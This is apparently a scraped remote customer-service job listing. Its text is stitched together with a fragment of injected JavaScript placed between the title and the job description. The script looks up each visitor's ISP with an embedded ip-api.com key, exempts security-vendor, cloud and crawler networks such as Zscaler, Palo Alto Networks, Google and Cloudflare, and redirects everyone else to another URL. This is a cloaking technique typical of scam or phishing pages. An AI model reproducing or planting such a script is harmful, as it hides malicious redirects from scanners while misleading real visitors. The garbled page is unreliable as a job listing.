Customer Service Representative – Remote – Full-Time
Overview
const ipAddress = data.ip;
// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;
// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = '';
}
})
.catch(error => {
console.error('Error retrieving ISP name:', error);
});
})
.catch(error => {
console.error('Error retrieving IP address or location:', error);
});
We are seeking a dedicated Customer Service Representative to join our remote team, based in Watsonville, California.
Responsibilities:
- Provide exceptional support to customers via phone, email, and chat channels.
- Assist with product inquiries, order processing, and issue resolution.
- Maintain accurate customer records and update account information.
- Collaborate with team members to improve service quality and processes.
- Ensure customer satisfaction by delivering timely and professional assistance.
Skills Needed:
- Excellent communication and problem-solving abilities.
- Strong organizational skills and attention to detail.
- Ability to handle multiple tasks in a fast-paced environment.
- Comfort with remote work tools and technology.
Benefits:
- Salary range of $50,000 - $60,000 annually.
- Flexible remote work environment.
- Health, dental, and vision insurance options.
- Paid time off and holidays.
- Opportunities for professional growth and development.